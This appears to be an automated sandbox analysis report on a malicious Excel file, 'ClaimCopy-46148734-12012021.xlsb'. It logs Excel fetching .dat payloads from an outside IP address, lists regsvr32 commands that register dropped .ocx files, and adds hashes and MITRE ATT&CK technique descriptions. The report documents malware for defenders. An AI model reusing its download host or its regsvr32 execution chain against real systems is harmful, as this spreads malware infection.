Dec 2, 2021 08:24:47.901475906 CET	49175	80	192.168.2.22	146.19.170.39
Dec 2, 2021 08:24:47.960593939 CET	80	49175	146.19.170.39	192.168.2.22
Dec 2, 2021 08:24:47.960725069 CET	49175	80	192.168.2.22	146.19.170.39
Dec 2, 2021 08:24:47.961788893 CET	49175	80	192.168.2.22	146.19.170.39
Dec 2, 2021 08:24:48.020816088 CET	80	49175	146.19.170.39	192.168.2.22
Dec 2, 2021 08:24:48.200067043 CET	80	49175	146.19.170.39	192.168.2.22
Dec 2, 2021 08:24:48.200364113 CET	49175	80	192.168.2.22	146.19.170.39
Dec 2, 2021 08:25:53.208133936 CET	80	49175	146.19.170.39	192.168.2.22
Dec 2, 2021 08:25:53.208262920 CET	49175	80	192.168.2.22	146.19.170.39

HTTP Request Dependency Graph

146.19.170.39

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	146.19.170.39	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2021 08:22:41.409698963 CET	1	OUT	GET /882070564739.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 146.19.170.39 Connection: Keep-Alive
Dec 2, 2021 08:22:41.648286104 CET	2	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 02 Dec 2021 07:22:41 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49175	146.19.170.39	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2021 08:24:47.961788893 CET	4	OUT	GET /882070564739.dat2 HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 146.19.170.39 Connection: Keep-Alive
Dec 2, 2021 08:24:48.200067043 CET	5	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 02 Dec 2021 07:24:48 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Code Manipulations

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

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Behavior

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System Behavior

Analysis Process: EXCEL.EXE PID: 1212 Parent PID: 596

General

Start time:	08:22:13
Start date:	02/12/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f970000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2520 Parent PID: 1212

General

Start time:	08:25:05
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 C:\ProgramData\Volet1.ocx
Imagebase:	0xffcb0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2544 Parent PID: 1212

General

Start time:	08:25:05
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 C:\ProgramData\Volet2.ocx
Imagebase:	0xffcb0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 668 Parent PID: 1212

General

Start time:	08:25:05
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 C:\ProgramData\Volet3.ocx
Imagebase:	0xffcb0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2024 Parent PID: 1212

General

Start time:	08:25:06
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet4.ocx
Imagebase:	0xffcb0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2796 Parent PID: 1212

General

Start time:	08:25:06
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet5.ocx
Imagebase:	0xffcb0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2176 Parent PID: 1212

General

Start time:	08:25:07
Start date:	02/12/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet6.ocx
Imagebase:	0xffcb0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: EXCEL.EXE PID: 1212 Parent PID: 596 EXCEL.EXECOMMON

Executed Functions

Non-executed Functions

Function 02E966F3, Relevance: .9, Instructions: 946COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1029714179.0000000002E90000.00000004.00000001.sdmp, Offset: 02E90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93f5ce752277cd0ea9d021c26da8d4a326d32c7261f48613cc1289de86b58745
Instruction ID: d2069a80ef2563bf9275f594a99838653292767990a606ce05530e55c3be8446
Opcode Fuzzy Hash: 93f5ce752277cd0ea9d021c26da8d4a326d32c7261f48613cc1289de86b58745
Instruction Fuzzy Hash: 6A72655154E3D11FC70787380DB96A6BF71AE53118B2E91DBC6C2DB8E3E608492AC763

Uniqueness

Uniqueness Score: -1.00%

Function 02E966E8, Relevance: .9, Instructions: 935COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1029714179.0000000002E90000.00000004.00000001.sdmp, Offset: 02E90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e4a15b30d079047791a4c799ed446e114603252ff51353cc79eabf7a51f635d
Instruction ID: 529051f1bef6d8e3adcb4e75060e0b9da2bd0b4bb3e86db8b1069100d92d62ab
Opcode Fuzzy Hash: 3e4a15b30d079047791a4c799ed446e114603252ff51353cc79eabf7a51f635d
Instruction Fuzzy Hash: 4A72755154E3D11FC70787380DB96A6BF71AE13118B2E91DBC6C2DB8E3E608492AC763

Uniqueness

Uniqueness Score: -1.00%

Function 02E96753, Relevance: .9, Instructions: 925COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1029714179.0000000002E90000.00000004.00000001.sdmp, Offset: 02E90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4315e1e5858965ddf50f929e7e63364c78336bc8f6d837f90ff0211a2441ed07
Instruction ID: c4c1e3c89d059f65fd7921070fafc33bc8339d8cb681e41b1d83bc8ed1469b9b
Opcode Fuzzy Hash: 4315e1e5858965ddf50f929e7e63364c78336bc8f6d837f90ff0211a2441ed07
Instruction Fuzzy Hash: FD72665154E3D11FC70787380DB96A6BF71AE53118B2E91DBC6C2DB8E3E608492AC763

Uniqueness

Uniqueness Score: -1.00%

Function 02E96743, Relevance: .9, Instructions: 909COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1029714179.0000000002E90000.00000004.00000001.sdmp, Offset: 02E90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 118bee8a9fbbcd473c18d031b55ada85e14fff4030955ead3cc970db53f50afd
Instruction ID: 624c6f1d5f94a0637f330a068c03813119b61cffc6a84aee497cdd0ebfcbb7fc
Opcode Fuzzy Hash: 118bee8a9fbbcd473c18d031b55ada85e14fff4030955ead3cc970db53f50afd
Instruction Fuzzy Hash: 8A72665154E3D11FC70787380DB96A6BF71AE53118B2E91DBC6C2DB8E3E608492AC763

Uniqueness

Uniqueness Score: -1.00%

Function 02E9CF01, Relevance: .6, Instructions: 623COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1029714179.0000000002E90000.00000004.00000001.sdmp, Offset: 02E90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 752fb470c20dddd118dd3a1d460f4e9d7ebf312bbd1e4cd360e672e6c25cc423
Instruction ID: 8874466c4f8d7f28ab89ffe7a8b35def3f1f49b84043e94d67f0f8f6af831fdc
Opcode Fuzzy Hash: 752fb470c20dddd118dd3a1d460f4e9d7ebf312bbd1e4cd360e672e6c25cc423
Instruction Fuzzy Hash: AA02096248E3D15FD30387749DB56907FB09E57228B1E05DBC0C1CF8B3E65A1A6AD722

Uniqueness

Uniqueness Score: -1.00%

Function 02E96340, Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1029714179.0000000002E90000.00000004.00000001.sdmp, Offset: 02E90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f7aa5e46d1b3910a7f506b712b20c7d8822a6ccf25430664cb8e1d937aca64
Instruction ID: 1b9937fe8300ad5ac75b49c4f3dc0e700b0983f9502fef95e3f3440284806cfa
Opcode Fuzzy Hash: 55f7aa5e46d1b3910a7f506b712b20c7d8822a6ccf25430664cb8e1d937aca64
Instruction Fuzzy Hash: 67C1415548E3D21FD71383780EB91927FB19E87158B2E65CBC2C1DF4A3EA18096AD723

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report ClaimCopy-46148734-12012021.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "ClaimCopy-46148734-12012021.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 1212 Parent PID: 596

General

Chronological Activities

Analysis Process: regsvr32.exe PID: 2520 Parent PID: 1212